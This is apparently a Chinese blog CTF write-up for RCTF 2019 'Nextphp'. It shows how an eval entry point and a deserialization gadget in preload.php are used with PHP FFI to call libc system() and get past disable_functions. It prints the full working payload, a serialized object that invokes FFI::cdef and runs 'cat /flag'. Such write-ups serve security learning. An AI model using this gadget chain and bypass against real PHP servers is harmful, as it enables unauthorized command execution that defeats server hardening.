首页 > 编程语言 >RCTF 2019]Nextphp 利用phpFFI来绕过 disable_functions限制

RCTF 2019]Nextphp 利用phpFFI来绕过 disable_functions限制

时间:2024-05-14 17:32:04浏览次数:25  
标签:__ function functions RCTF Nextphp serialize unserialize data public

今天做了一道RCE+反序列化的题目,看看吧。
进入题目就给出了源码

点击查看代码
 <?php
if (isset($_GET['a'])) {
    eval($_GET['a']);
} else {
    show_source(__FILE__);
}

Rce看看,发现许多函数都被dis掉了,试试无参数rce。

发现了当前目录的一些文件(1.txt是我弄上去的,不用管它),尝试读取preload.php文件。
?a=show_source(end(scandir('.')));

点击查看代码
 <?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'print_r',
        'arg' => '1'
    ];

    private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }

    public function __serialize(): array {
        return $this->data;
    }

    public function __unserialize(array $data) {
        array_merge($this->data, $data);
        $this->run();
    }

    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }

    public function __get ($key) {
        return $this->data[$key];
    }

    public function __set ($key, $value) {
        throw new \Exception('No implemented');
    }

    public function __construct () {
        throw new \Exception('No implemented');
    }
}

得到源码发现应该是到反序列化的题目,在index.php参数中可以利用unserialize进行反序列化(phpinfo里面查看dis掉的函数),但是看了半天没有发发现利用点在哪里。可能是$this->data['func']($this->data['arg']);,尝试写入system输出发现没用,看了wp发现本题的考点是phpFFI绕过dis,详细的我就不介绍了,自己搜搜看。先看看官方示例:
点击查看代码
<?php
// create FFI object, loading libc and exporting function printf()
$ffi = FFI::cdef(
    "int printf(const char *format, ...);", // this is regular C declaration
    "libc.so.6");
// call C printf()
$ffi->printf("Hello %s!\n", "world");
实际测试中第二个参数是可以为空的,官方解释:第二个可选参数是共享库文件名,要加载并与定义链接,是可选的。那这就对应了preload.php源码中$this->data['arg']只有这一个参数的问题,这样的话,我们就可以利用 preload.php 中类 A 的 run 方法直接执行命令了,也就可以直接绕过 disable_functions 等限制。。那么开始构造exp。
点击查看代码
<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'FFI::cdef',
        'arg' => 'int system(const char *command);'
    ];

    //可以进行函数执行

    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {

        $this->data = unserialize($payload);
        $this->run();
    }
}
$a = new A();
echo serialize($a);
这里将没用的一些东西删掉了,删除了原有的__serialize、__unserialize 两个函数,这是因为在反序列化时会触发 __unserialize函数,这一特性是在PHP7.4中新加入的,看这两个函数可知其实现的方法并不是正确的。具体看:https://www.cnblogs.com/karsa/p/13393034.html

无回显,那就试试输出到其他文件(其实nc也可以,主要是服务器太贵了)。

点击查看代码
payload:?a=$a=unserialize('C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:32:"int system(const char *command);";}}')->__serialize()['ret']->system('cat /flag|1.txt');
直接访问1.txt得到flag

知识点总结:

  1. 无参数rce

  2. phpFFI利用绕过disable_functions 限制版本(PHP 7 >= 7.4.0, PHP 8)(本题是7.4)

  3. 如果一个类同时实现了Serializable和__Serialize()/__Unserialize(),则序列化将倾向于使用新机制,而非序列化则可以使用其中一种机制,具体取决于使用的是C(Serializable)还是O(Uu unserialize)格式。因此,以C格式编码的旧的序列化字符串仍然可以解码,而新的字符串将以O格式生成。

  4. FFI API只能在CLI脚本和预加载的PHP文件中使用。默认ffi.enable=preload ** 且仅在命令行模式和 **preload 文件中可用

标签:__,function,functions,RCTF,Nextphp,serialize,unserialize,data,public
From: https://www.cnblogs.com/jocker-love-you/p/18191792

相关文章

  • [RCTF2015]EasySQL
    [RCTF2015]EasySQL打开环境,有一个注册一个登录按钮这里注册的时候有个坑,邮箱那栏你不能输入@xx.com,否则就会报错不允许的字符fuzz测试一下发现过滤了不少字符注册完成后登录首页的文字没有什么有用的信息,进入帐号发现可以修改密码如果是正常的账号,此时修改密码不会有......
  • CTFHUB-PHP-bypass_disable_functions
    很多可以蚁剑插件自己做,因为本来就是蚁剑实验室的靶场,这里有些也就用手工方法,方便掌握原理。LD_PRELOAD看题目一眼环境变量劫持。蚁剑可以连,但是终端命令全被ban了。访问/?ant=phpinfo();查看禁用函数:pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,......
  • Polynomial growth harmonic functions
    目录DefinitionsandnotationsIintroductionMainresultsMoreoverDefinitionsandnotations\(M\)isacompleteRiemannianmanifold.\(H^d(M):=\{u\inC^{\infty}(M)|\Deltau=0~\text{and}~u(x)=\Omicron(r^d(x))\,\text{as}\,x\to\infty\}\)......
  • NewStarCTF 2023 week1 writeup
    NewStarCTF2023week1writeup花了几天时间,终于把week1的题目做完了,还是学到不少东西的,题目质量大多都挺高的,很适合新手入门。Web1.泄漏的秘密url/robots.txt查看robots协议,找到第一部分的flagPARTONE:flag{r0bots_1s_s0_us3fulurl/www.zip查看网站备份,找到第二部分的fla......
  • SystemVerilog -- 3.10 SystemVerilog Functions
    SystemVerilogFunctionsSystemVerilog函数具有与Verilog中的function相同的特征。Functionsa的主要用途是返回一个可在表达式中使用且不能消耗模拟时间的值。functionfunction不能具有时间控制语句,如@#forkjoinwaitfunction无法启动task,因为允许task消耗模拟时间。AN......
  • [MRCTF2020]套娃
    [MRCTF2020]套娃打开环境发现有张图片显示不出来查看网页源代码发现部分代码$query=$_SERVER['QUERY_STRING'];if(substr_count($query,'_')!==0||substr_count($query,'%5f')!=0){die('Y0uareSocutE!');}if($_GET['b_u_p_t�......
  • [990] Functions of pandas
    Series.isxxxx()Series.isin():WhetherelementsinSeriesarecontainedin values.top_oceania_wines=reviews[(reviews.country.isin(['Australia','NewZealand']))&(reviews.points>=95)Series.str.islower():Checkwh......
  • [NewStarCTF] UnserializeOne __clone魔术方法
    今天来个反序列化没见过的魔术方法__clone。先看源码:点击查看代码classStart{public$name;protected$func;publicfunction__destruct(){echo"WelcometoNewStarCTF,".$this->name;}publicfunction__isset($var){......
  • DozerCTF-PWN题解
    这次比赛一共放了4道pwn题,3道栈上的,比较菜,只会做栈1.pwn_fclosefrompwnimport*context(os='linux',arch='amd64',log_level='debug')io=remote('139.196.237.232',32985)#io=process("./pwn")libc=ELF("./libc.so.6&q......
  • [NewStarCTF]flask disk debug模式下的漏洞
    打开环境,发现三个链接/list/upload/console,题目描述为flask,那就是与flask的debug模式相关的漏洞,在此之前我只听过debug的pin码漏洞,也就是关于pin码的生成的。这里提一下:点击查看代码pin码的生成取决于下面这几个因素:1.服务器运行flask所登录的用户名。2.modname2.geta......